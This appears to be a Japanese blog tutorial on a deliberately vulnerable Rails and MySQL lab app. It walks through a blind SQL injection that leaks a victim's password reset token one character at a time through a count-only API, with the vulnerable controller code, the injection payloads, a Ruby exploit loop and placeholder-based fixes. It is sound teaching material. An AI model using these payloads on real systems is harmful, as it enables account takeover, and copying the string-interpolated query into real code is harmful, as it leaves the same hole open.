釣りタイです。怖いねという話をします。
また、本記事はあくまでも学習目的での手法の紹介記事です。
実際に存在するサービス・サーバーへの利用/悪用は絶対にしないでください。
本記事について
SQLインジェクション(以下SQLi)で攻撃されちゃうやられアプリ(Rails + MySQL)を作りました。
それに対して実際に攻撃シナリオを考え、それを行うRubyのプログラムも作りました。
本記事ではこれらについて簡単に説明をしていきます。
想定読者は
「SQLiは聞いたことはあるけど攻撃を見たことはない」
ぐらいのRailsユーザーを想定しています。
また、RDSはMySQLでの実行を想定して文章を作成しています。
説明する攻撃の概要としては
「Hit件数しか返さないAPIで、SQLiを利用し、パスワードリセットトークンを窃取してアカウントを乗っ取る」というものです。
SQLiって知ってますか?
Robert'); DROP TABLE Students
ミームとして有名なやつです。
後述するアプリで言うところの
User.where("email = ''); drop table posts; -- ")
的なものRailsでやってみたことありますか?
mysql2 gemだと複文がデフォルトではオフになってるので
;
区切りでSQLを組み立てても、複文実行されません。
なので2つ目のstatementに当たるdrop tableは走りません。(※1)
' or '1' = '1';--
where句にこれあると、
ログイン突破出来たり、本来見えるべきでないレコードが取得できちゃったりするやつですね。
じゃあpublicなテーブルにならこれやられても困らないんでしょうか
(そんなことはないという話を後でします)
union系
後ろにunionつけて、全く別のテーブルをぶっこ抜くようなやつです。
レコードの中身の情報を返さず、
カウント結果しか返さないようなAPIならUNION系のSQLi起こせても問題ないのでしょうか
(そんなことはないという話を後でします)
今回作ったアプリ
機能概要
- 簡単なログイン機能と、投稿機能を持っています。
- ユーザーはメールアドレスとパスワードで認証してログインします。
- パスワードを忘れたときのために、パスワードリセット機能があります。
- ユーザーが自身の投稿のうち、特定のtagを含んだものが何件有るのかを調べることができる機能があります
API定義(一部抜粋)
-
POST /api/v1/users/request_password_reset
emailをpostしてpasswordリセット要求出来ます。 -
POST /api/v1/users/password_reset
emailにとどくpassowrd_reset_tokenをpostして当該アカウントのpasswordをリセットします -
POST /api/v1/posts
postを作成します -
GET /api/v1/posts/count_keyword
以下のような処理のエンドポイントです。
リクエストで指定されたtagを含む自分のpostのレコード数を返します。
def count_keyword
# tagsは,区切りでtagの文字列が入ってる想定、簡単のためにこの検索をしているが、本来はもっと複雑な条件になる
count = current_user.posts.where("tags like '%#{params[:keyword]}%'").count
render json: { count: count.to_i }, status: :ok
end
実際の攻撃シナリオ
今回は、ユーザーのパスワードリセットトークンを盗み出す攻撃を実際にやってみます。
実際のフローは以下のように行います。
前提として、攻撃者は被害者のe-mailアドレスを知っているものとします。
(なお、以降説明する攻撃の手法を確認すれば、実際にはe-mailではなく、被害者のidなどからも攻撃が可能なことはわかるかと思います)
攻撃フロー
0. 被害者ユーザー(A)の作成
sign_upのエンドポイントを叩いて被害者ユーザーを作成します。
ここで被害者のemailをvictim@example.com
と仮定します。
※スクリプトの簡単化のため、activation tokenがsign_upのresponseに含まれています。
実際のサービスではそんなことはしないので気をつけて下さい。
(∵メールアドレスの所有確認にならないから)
1. パスワードリセット要求
Aのメールアドレスでパスワードリセット要求
を送ります
2. 攻撃者アカウント作成
被害者と同じような手順でアカウントを作成します
3. Postレコードの作成
以降のSQLiで、検索対象とするレコードが必要なので、それを作成します。
以下はRubyのコードを示していますが、実際にはAPIのPostリクエストでレコードを作成します。
ここでは、検索対象とするレコードをposts.tagsにpiyo
が含まれるレコードとします。
current_uesr.posts.create(title: 'title', content: 'content', tags: 'tag1, piyo, tag2')
4. SQLiの実行
以下の定義のAPIに対して後述のリクエストを繰り返し送ることで、
被害者のreset_password_tokenを特定します。
def count_keyword
count = current_user.posts.where("tags like '%#{params[:keyword]}%'").count
render json: { count: count.to_i }, status: :ok
end
5. パスワードリセット
4.で特定したトークンを利用してパスワードをリセットします。
攻撃者はこのときパスワードを設定し直すので、emailとパスワードが分かっている状態です。
6. ログイン(終)
変更したパスワードと被害者のメールアドレスでログインをします
おわり。
今回使うSQLiの説明
current_user.posts.where("tags like '%#{params[:keyword]}%'").count
の部分に注目します。
SELECT
COUNT(*)
FROM
`posts`
WHERE
`posts`.`user_id` = 122
AND (tags like '%ここにparams[:keyword]に指定した文字列が入る%')
ということになります。
攻撃者はtagsがpiyoにmatchするpostがあるはずなので
params[:keyword]='piyo'
としたときに
SELECT
COUNT(*)
FROM
`posts`
WHERE
`posts`.`user_id` = 122
AND (tags like '%piyo%')
のようなクエリが実行されて、piyoというタグを含むレコードの件数が取得できるはずです。
これを利用して以下のような値をparams[:keyword]に設定します。
params[:keyword] = <<~SQL
piyo%' and 1 in (
select 1 from users where
reset_password_token like 'a%'
and email = 'victim@example.com'
)
and 'hoge' like '
SQL
このとき、SQL全文は以下のようになります。
SELECT
COUNT(*)
FROM
`posts`
WHERE
`posts`.`user_id` = 122
AND (
tags like '%piyo%'
and 1 in (
select
1
from
users
where
reset_password_token like 'a%'
and email = 'victim@example.com'
)
and 'hoge' like '%'
)
副問合せの部分は
victim@example.com
のpassword_reset_token
がa
から始まっている場合には1を返します。
つまり、 count_keyword
の結果が0より大きいか否かを確認することで、
password_reset_token
の1文字目を確認できるクエリになっています。
この様に1文字ずつ確認していき、
like 'a%'
の部分をだんだんと発覚した文字に置き換えて伸ばしていくことで、
tokenの全文を取得することが可能です。
これらを実際に実行するコード
長いのでこれを開いて読む必要はありません。
https://github.com/k-karen/sqli-rails/blob/main/exploit-scripts/exploit.rb
以下、重要な部分のみ切り出しています。
# 適当にtokenに使われそうな文字を列挙
CHARACTORS = [*('A'..'Z'), *('a'..'z'), *('0'..'9'), '_', '-']
# ここにtokenを1文字ずつ付け足していく
token = ''
# トークンの長さが不明と仮定する、全文字探索してlikeに引っかからなければ、token全文を取得したとする
# その確認のフラグの値
token_updated = true
while token_updated
token_updated = false
CHARACTORS.each do |chara|
# tokenに1文字付け加えてみる
injection_query = "piyo%' and 1 in (select 1 from users where reset_password_token like '#{token}#{chara}%' and email = '#{victim[:email]}') and 'hoge' like '"
# SQLiのリクエストを送る
res = count_keyword(session_cookie, injection_query)
#レスポンスのcountを確認して、ループのための処理をする
if res['count'] > 0
token += chara
token_updated = true
print("\rtoken searching... #{token}")
break
end
end
end
実際に実行してみる
$ docker exec -it sqli_app bash
# -- in conatiner
$ bin/rails db:create db:migrate
$ ruby exploit-scripts/exploit.rb
docker-compose logs -f
しながらexploit.rbを実行するとこんな感じです。
まとめ
SQLi、(攻撃者からすると)超便利で怖いので絶対にplace holderを使いましょう。
例えば今回の場合は
count = current_user.posts.where('tags like ?', "%#{params[:keyword]}%").count
の様になっていれば、SQLiは起きませんでした(追記読んで)
current_user
でscopeを区切っていたりしても、
副問合せの部分で自由度が高いので、好きなテーブルのデータを確認することが出来てしまいます。
order句でも似たような方法でこのような攻撃が可能です。
(当たり前ですが)where句以外も気をつけましょう。
今回はレスポンスのcountの値を確認しましたが、こんな露骨なAPIでなくてもインジェクションがあれば攻撃が可能です。
他詳しく調べたい場合はBlind SQL injectionで検索したり、下記参考サイトをご参照ください。
参考にしたサイトなど
https://www.docswell.com/s/ockeghem/5DWJ8Z-rails-sql-injection-examples
https://book.hacktricks.xyz/v/jp/pentesting-web/sql-injection
補足
WAFで普通に弾かれるけどね…ということを言いたくてnginxを用意してあるのですが、
また元気があったら記事にするかもしれません。
(※1)
multiple statementを実行可能にすると、このSQLiは実現可能です。
onにする方法は以下を参考にしてください
FYI: https://github.com/brianmario/mysql2#multiple-result-sets
追記
sanitize_sql_like
を使いなさ~~い!(しかるねこ)
order句でもSQLiできるか
文中に
order句でも似たような方法でこのような攻撃が可能です。
という記載をしてしまいましたが、Rails 6.1からは ActiveRecord::UnknownAttributeReference
が起きてヤバそうなOrder句は弾かれるようになったみたいです。
(とはいえエラーをよく理解せず、外部入力をorderに渡す処理でArel.sqlを付けたらダメなのはダメなのですが…)